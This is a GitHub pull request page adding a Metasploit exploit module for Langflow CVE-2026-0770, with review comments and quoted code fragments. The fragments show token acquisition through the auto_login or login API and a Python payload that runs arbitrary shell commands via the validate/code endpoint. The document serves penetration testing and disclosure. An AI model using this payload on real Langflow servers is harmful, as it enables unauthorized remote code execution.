Skip to content

Langflow CVE-2026-0770 exploit module - #21750

Open
bhaskarbhar wants to merge 2 commits into
rapid7:masterfrom
bhaskarbhar:cve_2026_0770
Open

Langflow CVE-2026-0770 exploit module#21750
bhaskarbhar wants to merge 2 commits into
rapid7:masterfrom
bhaskarbhar:cve_2026_0770

Conversation

@bhaskarbhar

Copy link
Copy Markdown
Contributor

This module exploits CVE-2026-0770 of Langflow.

Fixes: #21712
CVE details: https://nvd.nist.gov/vuln/detail/cve-2026-0770
Original POC: https://www.exploit-db.com/exploits/52597

Two scenarios has been taken care of:

  1. When auto_login is enabled:
Screenshot 2026-08-04 122253 Screenshot 2026-08-04 122307 Screenshot 2026-08-04 122317 Screenshot 2026-08-04 122327
  1. auto_login is disabled along with username and password is set:
Screenshot 2026-08-04 122850 Screenshot 2026-08-04 122904 Screenshot 2026-08-04 122923

@bhaskarbhar

Copy link
Copy Markdown
Contributor Author

There are options like Proxy, SSL, VHOST etc that came along the HTTP base classes. Should I remove them? Will build the docs file if the module is good to go.

@bhaskarbhar bhaskarbhar closed this Aug 4, 2026
@github-project-automation github-project-automation Bot moved this from Todo to Done in Metasploit Kanban Aug 4, 2026
@bhaskarbhar bhaskarbhar reopened this Aug 4, 2026
@github-project-automation github-project-automation Bot moved this from Done to In Progress in Metasploit Kanban Aug 4, 2026
@rmhowe425

rmhowe425 commented Aug 5, 2026

Copy link
Copy Markdown
Contributor

@bhaskarbhar Finished my review (as requested here). We'll still need a core team member to manually review after they kick off a Co-Pilot assessment

@bhaskarbhar

Copy link
Copy Markdown
Contributor Author

@smcintyre-r7 Need your review on this PR.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds a new Metasploit exploit module under modules/exploits/multi/http/ to leverage CVE-2026-0770 in Langflow by obtaining an access token (via auto_login or credentialed login) and then triggering code execution through the validate/code endpoint.

Changes:

  • Introduces a new HTTP exploit module for Langflow CVE-2026-0770 with token acquisition logic (/api/v1/auto_login or /api/v1/login).
  • Implements command execution via /api/v1/validate/code and parses validation errors to surface command output.

Impact Analysis: isolated change; no meaningful downstream impact identified from diff.

Comment on lines +50 to +54
if res && res.body.to_s =~ /Langflow/i
Exploit::CheckCode::Appears('The target is running Langflow')
else
Exploit::CheckCode::Unknown('The target did not present a Langflow banner')
end
Comment on lines +58 to +66
cmd = datastore['CMD'] || 'id'

token = obtain_token
fail_with(Failure::Unknown, 'Failed to obtain an access token') if token.nil?

payload = <<~PY
def exploit(
_=( lambda r: (_ for _ in ()).throw(Exception(f"{r.stdout}{r.stderr}")) )(
__import__('subprocess').run('#{cmd}', shell=True, capture_output=True, text=True)
Comment on lines +74 to +78
res = send_request_cgi(
'method' => 'POST',
'uri' => '/api/v1/validate/code',
'ctype' => 'application/json',
'data' => body.to_json,
Comment on lines +12 to +16
'Name' => 'Langflow Unauthenticated RCE (validate endpoint)',
'Description' => %q{
Langflow before 1.3.0 contains an unauthenticated remote code execution
vulnerability in the `validate` endpoint where unsanitized values in
`exec_globals`/`code` allow an attacker to execute arbitrary code.
@bhaskarbhar

Copy link
Copy Markdown
Contributor Author

@adfoster-r7 Requesting review.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: In Progress

Development

Successfully merging this pull request may close these issues.

ENH: Add exploit module for unauth RCE impacting Langflow versions (CVE-2026-0770)

3 participants